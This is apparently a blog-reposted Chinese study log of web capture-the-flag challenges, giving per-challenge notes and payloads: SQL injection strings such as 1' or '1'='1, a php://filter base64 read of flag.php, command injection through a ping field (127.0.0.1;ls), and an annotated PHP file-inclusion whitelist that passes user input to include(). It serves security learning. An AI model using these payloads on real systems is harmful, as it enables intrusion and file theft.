题目类型:SQL注入类
日期:2023.7.20
payload:1’ or '1'='1
知识点:sql注入类题目,首先确定是字符型注入还是数字型注入。字符型:输入的参数做为字符处理,一般有引号闭合。数字型:输入的内容作为数字处理,一般没有引号闭合。
判断方式:id=1 order by 9999 --+ 正常回显是字符型,否则是数字型
万能密码:1 and 1=1(数字型) 或1' and '1'='1(字符型)或 1 or 1=1(数字型) 或 1 or '1'='1(字符型)
解题过程:进入之后看到输入框确定是SQL注入,万能密码即可。
题目类型:代码审计
日期:7.23(补21)
payload:/?cat=dog
知识点:get传递参数(很简单)
解题过程:f12看注释处有代码审计
题目类型:php代码审计(未完待续)
日期:7.23(补22)
完整代码如下:
<?phphighlight_file(__FILE__);class emmm{//传入变量,也就是file,赋值给pagepublic static function checkFile(&$page){//第一部分//定义了白名单,包括scource.php和hint.php$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//如果page不存在或者不是字符串则返回falseif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;} //第二部分//检测传进来的值是否匹配白名单列表$whitelist ,如果有则执行真if (in_array($page, $whitelist)) {return true;} //第三部分/*mb_substr为截断函数,第一个参数为传进来的字符串,第二个为起始位置,第三个参数为长度mb_strpos为查找某值第一次出现的位置,这里表示截取page从0开始到第一个问号之间的字符 串,赋值给_page*///过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($page,0,mb_strpos($page . '?', '?') ); //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}//第四部分//否则继续将page进行url解码,这里注意url传入服务器会自动进行一次urldecode//?的url编码为%3F,双重url编码为%253F$_page = urldecode($page); //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}} //第五部分//条件为file不为空、是字符串、checkFile返回true,否则一直显示滑稽if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=".jpg" />";} ?>
知识点:isset()函数用于检测变量是否已设置并且非 NULL
is_string() 函数用于检测变量是否是字符串。
PHP 版本要求: PHP 4, PHP 5, PHP 7
in_array("a",$b) :搜索数组b中是否存在指定的值a
urldecode()返回URL解码的字符串
mb_substr("abbcv", 0, 2)从第0个位置开始,截取前2个字符串 // 输出:ab
mb_strpos (a,b,c)— 查找字符串b在另一个字符串a中从c开始搜索首次出现的位置
emmm::checkFile 一个emmm类调用checkFile静态方法,在PHP中,双冒号(::)用于调用静态方法或访问静态属性
总结:这段PHP代码首先使用 highlight_file(__FILE__)
来高亮显示当前文件的源代码。
然后定义了一个名为 emmm
的类,其中包含了一个名为 checkFile
的静态方法。该方法接受一个传入的参数 $page
,并对其进行一系列检查。
首先,定义了一个白名单数组 $whitelist
,其中包含了允许访问的文件名和对应的文件。接下来,通过一系列条件判断来验证传入的 $page
是否符合访问要求。
如果 $page
未设置或不是字符串类型,将输出 "you can't see it" 并返回 false。
接着,将 $page
与白名单进行比较,如果存在于白名单中,则返回 true。
如果不在白名单中,将对 $page
进行处理。首先使用 mb_strpos
函数找到 $page
中的问号位置,并截取该位置之前的子串赋给 $_page
。然后将 $_page
进行 URL 解码,并再次使用 mb_strpos
函数截取其中的问号位置之前的子串。最后再次与白名单比较,如果存在于白名单中,则返回 true。
如果以上条件都不满足,将输出 "you can't see it" 并返回 false。
最后,在代码的主体部分,通过检查 $_REQUEST['file']
的值是否存在且为字符串类型,以及调用 emmm::checkFile
方法来验证是否允许访问该文件。如果满足条件,则通过 include
函数包含该文件并退出。否则,输出一个图片标签。
总体来说,这段代码的作用是根据一定的访问规则来控制文件的访问权限,并在不满足条件时显示一张图片。
题目类型:php为协议文件读取
日期:7.24(补23)
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
知识点:php文件读取协议
参考链接:php文件包含漏洞Getshell的不同姿势-安全客 - 安全资讯平台
(php如何getshell)
PHP伪协议_php伪协议读取文件-CSDN博客
(php文件读取协议)
题目类型:Linux命令执行漏洞
日期:7.24
payload:127.0.0.1;ls 看到index.php
127.0.0.1;cd../../../;ls 查看目录文件
知识点:Linux命令,cd../../ 移动到上个目录
打开1.txt文件
ls 列出文件目录
命令与命令之间使用;隔开
解题过程:打开之后看到ping,ping一下自己127.0.0.1;可以看到有回显,
使用cd../../../切换到上个目录,ls查看所以文件,可以看到flag,cat flag 打开flag
本文发布于:2024-01-28 10:02:12,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17064073486631.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |